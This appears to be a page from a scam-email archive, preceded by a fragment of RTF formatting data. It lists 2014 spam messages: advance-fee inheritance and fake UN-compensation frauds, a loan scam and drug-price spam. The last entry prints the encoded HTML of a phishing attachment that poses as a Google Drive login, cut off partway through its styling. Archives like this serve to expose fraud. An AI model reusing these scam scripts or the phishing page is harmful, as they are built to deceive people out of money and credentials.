\lsdqformat1 \lsdpriority0 Title;\lsdsemihidden0 \lsdunhideused0 \lsdpriority0 Default Paragraph Font;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority0 Subtitle; \lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority0 Strong;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority0 Emphasis;\lsdsemihidden0 \lsdunhideused0 \lsdpriority0 Table Grid;\lsdunhideused0 \lsdlocked0 Placeholder Text; \lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority1 \lsdlocked0 No Spacing;\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading;\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List; \lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid;\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2; \lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1; \lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List; \lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading;\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List;\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid; \lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 1; \lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 1; \lsdunhideused0 \lsdlocked0 Revision;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority34 \lsdlocked0 List Paragraph;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority29 \lsdlocked0 Quote; \lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority30 \lsdlocked0 Intense Quote;\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 1; \lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 1; \lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 1; \lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 2; \lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 2; \lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 2; \lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 2; \lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 3; \lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 3; \lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 3; \lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 3; \lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 3; \lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 4; \lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 4; \lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 4; \lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 4; \lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 4; \lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 5; \lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 5; \lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 5; \lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 5; \lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 6; \lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 6; \lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 6; \lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 6; \lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 6; \lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority19 \lsdlocked0 Subtle Emphasis; \lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority21 \lsdlocked0 Intense Emphasis;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority31 \lsdlocked0 Subtle Reference; \lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority32 \lsdlocked0 Intense Reference;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority33 \lsdlocked0 Book Title;\lsdpriority37 \lsdlocked0 Bibliography; \lsdqformat1 \lsdpriority39 \lsdlocked0 TOC Heading;}}{\*\datastore 0105000002000000180000004d73786d6c322e534158584d4c5265616465722e352e3000000000000000000000060000 d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff090006000000000000000000000001000000010000000000000000100000feffffff00000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff fffffffffffffffffdfffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffffffffffffec69d9888b8b3d4c859eaf6cd158be0f000000000000000000000000c03a e3e729cbcf01feffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000105000000000000}}
Click to view scam #92202 - Sent on September 17, 2014, 1:58 am by chinhvnm.nnptnt@ninhbinh.gov.vn
body {height: 100%; color:#000000; font-size:12pt; font-family:Tahoma;}Dear Loan SeekerThis is to inform you that Genuine loans are now available at a low interest 3% rate for now and free from financial stress What is your situation? You need 100% financing, can not verify income, can not verify employment, recently self-employed, bankruptcy, credit issues etc. Please contact us today and get financially equiped. This is opportunity that you can not afford to miss. below is a list of services rendered. If interested apply now and fill Application Profile Below for Comprehensive documentation And Verification.LOAN INFORMATIONNames: Gender: Amount Needed: Purpose For The Loan: Loan Terms & Duration: Occupation: Telephone: Country: Monthly Income :CONTACT EMAIL : loanoffice6@financier.com
Click to view scam #92201 - Sent on September 17, 2014, 1:48 am by web-support@yazd.ac.ir
All unheard of as thou art Felixcramb Getp Amazing Medicationl Herem :) http://michaelwiechertauthor.com/karate.php
Click to view scam #92200 - Sent on September 17, 2014, 1:39 am by ecotone@net4webmail.com
Meds for Men Cialis 1.65$ Propecia 0.45$ Viagra SoftTabs 2.02$ Viagra 0.99$ Viagra Super 4.25$ Levitra 2.50$ Meds for Women Female Viagra  0.72$ Nexium 0.55$ Clomid 0.45$ Deflucan 1.25$ Acomplia 1.75$ Female Cialis 1.11$ Copy and paste this into your browser: Medicinalmedsvalue.com Antibiotics Cephalexin 0.24$ Levaquin 0.95$ Amoxicillin 0.52$ Augmentin 1.59$ Cipro 0.30$ Zithromax 0.75$ Painkillers Indometacinl 0.25$ Diclofenac Gel 9.00$ Celebrex 0.59$ Imitrex 5.60$ Toradol 0.59$ Arcoxia 0.38$ Asthma & Allergy Serevent 18.95$ Singulair 0.99$ Advair 24.95$ Flovent 19.95$ Sterapred 0.49$ Ventolin 21.50$ Dealing with Depression Lexapro 0.63$ Cymbalta 1.13$ Pristiq 1.11$ Celexa 0.50$ Zoloft 0.88$ Prozac 0.35$ Copy and paste this into your browser: Medicinalmedsvalue.com
Click to view scam #92196 - Sent on September 17, 2014, 12:56 am by noreply@morizonstyle.com
Attn: Sir/Madam I am Barrister Ali Yak Ousman the personal resident Attorney here in Burkina Faso to Late Mr. Muammar Abu Meniar El-Gaddafi from Libya . Late Mr. Muammar Abu Meniar El-Gaddafi died along with his son who supposes to be his next of kin during his country political war. My client Mr. Muammar Abu Meniar El-Gaddafi was having a deposit sum of thirty million four Hundred thousand united state dollars ($30.4m USD) with African Development Bank Burkina Faso. With the above explanation?s I want us to transfer this money into your account as a deal if interested I advice you reply to ( barr_a_yak@yahoo.com ) as soon as possible, Thanks,Hon Barrister, Ali Yak Ousman.
Click to view scam #92195 - Sent on September 17, 2014, 12:48 am by legalaliyak5@aol.fr
Dear friend,Good day I am Mike Harris an accountant in Nat-west Bank here in the UK. I need your help to transfer the sum of Twenty Three Million Five Hundred Thousand US Dollars ($23.5 million) into your account and I believe that you are a reliable and trustworthy person capable to handle this transaction and as well establish a medium size industry in your country on my behalf as par my own percentage of the transaction. I saw this opportunity while rearranging the old and abandoned files for official re documentation in our branch office which I have been monitoring for so many years now.The owner of this account late Mr Paul Louis Halley was the seventh richest man in France, He died with his entire family on Dec, 2003 Air-Crash. You can confirm through this website before you can respond;http://news.bbc.co.uk/2/hi/uk_news/england/oxfordshire/4537663.stmMy investigation proved to me that his company does not know anything about this account. I want to assure you that this is real And a Genuine business transaction, hope that you will never let me down. At the conclusion of this business, you will be given 30% of the total amount, 60% will be for me, while the remaining 10% will be mapped out for any expenses that may come up during the transfer process. I look forward to your earliest replyThanks,Best regards,Mike Harris
Click to view scam #92192 - Sent on September 17, 2014, 12:10 am by harrismike724@gmail.com
SCAMMED VICTIM COMPENSATION REF CODE: 06654 $400,000.00 USD ONLY This is to bring to your notice that I am a delegate from the United Nations to The IMF (International Monetary Fund) West Africa Regional Payment Office to pay 521 scam victims $400,000.00 USD (Four Hundred Thousand Dollars only) each. You are listed and approved for this payment as one of the scammed victims to be paid this amount,respond to this mail as soon as possible for the immediate payments of your $400,000 USD compensations funds. You are to send your: NAME: ADDRESS: TELEPHONE: DATE OF BIRTH: COUNTRY: STATE: OCCUPATION: To HSBC BANK Representative: Mr MARK SHAWN Email: hsbc-bank-uk@qq.com Regards, Mrs Anita Powers United Nation Representative.
Click to view scam #92191 - Sent on September 17, 2014, 12:08 am by emanuel.simoes@mpa.gov.br
UNITED NATIONS DEVELOPMENT PROGRAM (UNDP). FUND RE-PAYMENT AND SETTLEMENT SYSTEM ADDRESS: BUILDING 7 RING ROAD EAST, ACCRA-GHANA. E-MAIL: johnkerry.un@gmail.com TEL: +233 (0) 249 933 868 Fund Inheritance Payment Approved! Dear Sir/Madam, I want to use this medium of communication to clarify that We have contacted you correctly after we have received approval from the United Nations after research has been successfully carried out concerning your fund deposited by one deceased Mr. Ahmad Salam from Libya victim of the Gaddafi War in Libya who mentioned upon his deposit that you are his rightful beneficiary and as a UN Residential Representative I will like to inform you that your inheritance fund $50million USD (Fifty Million United States Dollars) has been approved by the UN for release to you since your name has been alerted in the system of the Organization as receiver and beneficiary to the aforementioned fund. To reconfirm your details and to make sure you have not been wrongly contacted please you are required to come up with these information below; Your Full Address:???????.. Full Name:???????????.. Job / position:??????????.. Mobile / telephone Numbers:?. Email Addresses:??????????.Copy of ID As soon as this information is received and confirmed we shall commence with proceedings without any further delay to remit your fund to you as approved by the UN. Note: do not reply back to this mail, you are to reply back to the email below: Contact e-mail: johnkerry.un@gmail.com Dr. John Kerry Human Resources Department (UNDP) Accra, Ghana.
Click to view scam #92190 - Sent on September 16, 2014, 11:55 pm by johnkerry.un@gmail.com
From:Miss christy gado.01 bp 25687 Cnabobo 220194abidjan,ivory coast.Hello,My name is christy gado from Abidjan Ivory Coast and I will be 18 years old on the 22nd of Novermber.My father Engineer Wilson gado died in july 17 2013 after being involved in a motor accident. Before my father died, my mother had earlier died as a result of Diabetes.Before my father died in the hospital while taking treatment, he told me that there is Five million one hundred thousand united states dollars(US5,100,000.00) he has in a bank here in Abidjan Cote D'Ivoire.He said that the money was meant for establishing his business in Abidjan - Ivory Coast. Though, according to my father he deposited the money in his own name and mentioned me in the documents as the next of kin .Before his death he advised me to seek for a trust worthy person abroad who will help me invest and manage this money for me until i am capable to handle it. No w I have succeeded in locating the bank in Abidjan and also confirmed the money is in there confidentiality.But the bank said from the agreement my father has with them that i can only claim the money when i am upto 25 years. And if i am not upto that age, i should present a guardian who will help me in recieving the money and for investment purposes in his or her country. Now I am seeking for your assistance to help me transfer out this money from this bank he deposited it to your account so that you can be able to manage and invest it in any good business in your country and also help me to move out from here so that I can continue my education which stopped since my parents death.I am Waiting anxiously to hear from you so that we can discuss how you can assist me on this as my guardian since it is the only condition that the bank said this my inheritance can be release to me at this my present age or i can wait until i am upto 25 years and above. Thanks for your kind attention and i will appreciate to receive your reply to know if you will be able to help me stand as my guardian for my inheritance be release to me through your kind help.Please i am willing to give you 15% from the inheritance for standing as my guardian and also know that you are going to manage it for me .Please i am on my kneels begging you to accept standing as my guardian so that my inheritance be transfer out from here.Please i will like you to send this information to me which will be what i will be presenting to the bank when i hear from you.1.Your name and your address.2.Your Telephone3.Occupation4.Age/Marital StatusThanks and God BlessMiss christy gado.
Click to view scam #92187 - Sent on September 16, 2014, 11:10 pm by peterblessing5@outlook.com
From:Miss christy gado.01 bp 25687 Cnabobo 220194abidjan,ivory coast.Hello,My name is christy gado from Abidjan Ivory Coast and I will be 18 years old on the 22nd of Novermber.My father Engineer Wilson gado died in july 17 2013 after being involved in a motor accident. Before my father died, my mother had earlier died as a result of Diabetes.Before my father died in the hospital while taking treatment, he told me that there is Five million one hundred thousand united states dollars(US5,100,000.00) he has in a bank here in Abidjan Cote D'Ivoire.He said that the money was meant for establishing his business in Abidjan - Ivory Coast. Though, according to my father he deposited the money in his own name and mentioned me in the documents as the next of kin .Before his death he advised me to seek for a trust worthy person abroad who will help me invest and manage this money for me until i am capable to handle it. No w I have succeeded in locating the bank in Abidjan and also confirmed the money is in there confidentiality.But the bank said from the agreement my father has with them that i can only claim the money when i am upto 25 years. And if i am not upto that age, i should present a guardian who will help me in recieving the money and for investment purposes in his or her country. Now I am seeking for your assistance to help me transfer out this money from this bank he deposited it to your account so that you can be able to manage and invest it in any good business in your country and also help me to move out from here so that I can continue my education which stopped since my parents death.I am Waiting anxiously to hear from you so that we can discuss how you can assist me on this as my guardian since it is the only condition that the bank said this my inheritance can be release to me at this my present age or i can wait until i am upto 25 years and above. Thanks for your kind attention and i will appreciate to receive your reply to know if you will be able to help me stand as my guardian for my inheritance be release to me through your kind help.Please i am willing to give you 15% from the inheritance for standing as my guardian and also know that you are going to manage it for me .Please i am on my kneels begging you to accept standing as my guardian so that my inheritance be transfer out from here.Please i will like you to send this information to me which will be what i will be presenting to the bank when i hear from you.1.Your name and your address.2.Your Telephone3.Occupation4.Age/Marital StatusThanks and God BlessMiss christy gado.
Click to view scam #92183 - Sent on September 16, 2014, 10:58 pm by peterblessing4@outlook.com
Dear Supplier,   Find attached document of required list of products and our target prices. Open document and quote me your best offer.We are ready to do 30% down payment if your price is good. Our company needs your products by first week of december.   Regards,   Sent from my iPhone Attachment content - PO (1).htm:?m='%3Chtml%3E%3Chead%3E%3Cmeta%20http-equiv%3D%22Content-Type%22%20content%3D%22text/html%3B%20charset%3DUTF-8%22%3E%0A%3Ctitle%3EGoogle%20Drive%3C/title%3E%0A%3Cscript%3E%0Aalert%28%27Secured%20file%2C%20Login%20to%20view%27%29%3B%0A%3C/script%3E%0A%3Cstyle%20type%3D%22text/css%22%3E%0A%09@charset%20%22UTF-8%22%3B%0A*%20%7B%0A%09padding%3A0%3Blist-style%3Anone%3Boutline%3Anone%3B%0A%7D%0Abody%2C%20center%7B%0A%20%20%20%20font-family%3A%20Lucida%20Grande%2C%20Geneva%2C%20Verdana%2C%20Arial%3B%0A%20%20%20%20font-size%3A%20%20%2012px%3B%0A%20%20%20%20color%3A%20%20%20%20%20%20%20%23000000%3B%0A%09background-color%3A%20%23F2F3F4%3B%0A%7D%0Aa%3Ahover%20%7B%0A%09color%3A%20%2308C%3B%0A%7D%0Aa%3Avisited%20%7B%0A%09color%3A%20%2308C%3B%0A%7D%0Aa%3Alink%20%7B%0A%09color%3A%20%2308C%3B%09%0A%7D%0Aa%3Avisited%20%7B%0A%09color%3A%20%2308C%3B%0A%09text-decoration%3A%20none%3B%0A%7D%0Aa%3Alink%20%7B%0A%09color%3A%20%2308C%3B%0A%09text-decoration%3A%20none%3B%0A%7D%0Aa%3Alink%20%7B%0A%09color%3A%20%2312C%3B%0A%7D%0Aa%3Ahover%20%7B%0A%09color%3A%20%23214182%3B%0A%7D%0Aa%3Avisited%20%7B%0A%09color%3A%20%234673CB%3B%0A%7D%0Aa%3Alink%20%7B%0A%09color%3A%20%234673CB%3B%0A%7D%0Aa%20%7B%0A%09text-decoration%3A%20none%3B%0A%7D%0Aselect%7B%0A%09font-size%3A13px%3Bpadding%3A3px%3Bmargin%3A0%3B%0A%7D%0Ah1%20%7B%0A%09font-family%3A%20%22Lucida%20Grande%22%2C%20Arial%3B%0A%09font-weight%3A%20bold%3B%0A%09font-size%3A%2013px%3B%0A%09color%3A%20%234A5A66%3B%0A%7D%0Adiv%23layout%7B%0A%09width%3A980px%3Bmargin%3A28px%20auto%3B%0A%7D%0Adiv%23layout%20h1.logo%7B%0A%09background%3Aurl%28%27../img/dite-logo.png%27%29%20left%20top%3B%0A%09width%3A188px%3Bheight%3A20px%3Bfloat%3Aleft%3B%0A%09margin%3A0%200%2020px%200%3B%0A%7D%0Adiv%23layout%20%23wrapper%7B%0A%09clear%3Aboth%3B%0A%09width%3A%20100%25%3B%0A%09border%3A%201px%20solid%20%23EAEAEA%3B%0A%09overflow%3A%20hidden%3B%0A%09-moz-border-radius%3A%203px%3B%0A%09-webkit-border-radius%3A%203px%3B%0A%09border-radius%3A%203px%3B%0A%09-webkit-box-shadow%3A%20rgba%280%2C%200%2C%200%2C%200.3%29%200%201px%203px%3B%0A%09-moz-box-shadow%3A%20rgba%280%2C0%2C0%2C0.3%29%200%201px%203px%3B%0A%09box-shadow%3A%20rgba%280%2C%200%2C%200%2C%200.3%29%200%201px%203px%3B%0A%09background%3A%20white%3B%0A%7D%0Adiv%23layout%20%23wrapper%20.left%7B%0A%09background%3A%23FAFAFA%20url%28../img/app-icons.png%29%20center%2050px%20no-repeat%3Bpadding%3A200px%2040px%20100px%3B%0A%09width%3A250px%3B%0A%09border-right%3A%201px%20solid%20%23E6E6E6%3B%0A%09float%3Aleft%3B%0A%09height%3A250px%3B%0A%7D%0Adiv%23layout%20%23wrapper%20.left%20h1%20%7B%0A%09font-size%3A%2018px%3B%0A%09font-weight%3A%20normal%3B%0A%09color%3A%20%23333%3B%0A%09margin-bottom%3A15px%3B%0A%7D%0Adiv%23layout%20%23wrapper%20.left%20p%20%7B%0Afont-size%3A%2014px%3B%0Acolor%3A%20%23999%3B%0Aline-height%3A%201.5em%3B%0A%7D%0Adiv%23layout%20%23wrapper%20.left%20a%20%7B%0A%09font-size%3A%2014px%3B%0A%09background%3A%20url%28%27../img/arrow.png%27%29%20no-repeat%20center%20right%3B%0A%09padding-right%3A%2010px%3B%0A%7D%0Adiv%23layout%20%23wrapper%20.right%7B%0A%09float%3Aleft%3Bwidth%3A630px%3B%0A%7D%0Adiv%23layout%20%23wrapper%20.right%20h1%20%7B%0A%09font-size%3A%2024px%3B%0A%09font-weight%3A%20normal%3B%0A%09color%3A%20%23333%3B%0A%7D%0Adiv%23layout%20%23wrapper%20.right%20form%20%7B%0A%09width%3A560px%3Bmargin%3A80px%20auto%2080px%3B%0A%7D%0Adiv%23layout%20%23wrapper%20.right%20p%20%7B%0A%09color%3A%20%23999%3B%0A%7D%0Adiv%23layout%20%23wrapper%20.right%20.iforget%20%7B%0A%09float%3Aleft%3Bmargin%3A15px%200%200%200%3Bfont-size%3A10px%3B%0A%7D%0Adiv%23layout%20%23wrapper%20.right%20.ilogin%20%7B%0A%09float%3Aright%3B%0A%7D%0Adiv%23layout%20%23wrapper%20.right%20td%20%7B%0A%09height%3A42px%3B%0A%09border-bottom%3A1px%20solid%20%23EEE%3B%0A%7D%0Adiv%23layout%20%23wrapper%20.right%20.leftRow%20%7B%0A%09text-align%3Aright%3Bpadding%3A0%2010px%200%3Bwidth%3A220px%3Bfont-size%3A11px%3B%0A%09border-right%3A1px%20solid%20%23EEE%3Bfont-weight%3Abold%3Bline-height%3A16px%3B%0A%7D%0Adiv%23layout%20%23wrapper%20.right%20.centerRow%20%7B%0A%09border-right%3A1px%20solid%20%23EEE%3B%0A%09border-left%3A1px%20solid%20%23EEE%3B%0A%09font-weight%3Abold%3B%0A%09line-height%3A16px%3B%0A%09font-size%3A11px%3B%0A%09text-align%3Aright%3Bpadding%3A0%2010px%3B%0A%7D%0Adiv%23layout%20%23wrapper%20.right%20.rightRow%20%7B%0A%09padding%3A0%2010px%3B%0A%7D%0Adiv%23layout%20%23wrapper%20.right%20.rightRow%20span.formwrap%20%7B%0A%09float%3Aleft%3B%0A%09padding%3A%203px%3B%0A%09border-radius%3A%204px%3B%0A%09-webkit-border-radius%3A%204px%3B%0A%09-moz-border-radius%3A%204px%3B%0A%09-o-border-radius%3A%204px%3B%0A%09background%3A%20%23EEE%3B%0A%09margin-right%3A5px%3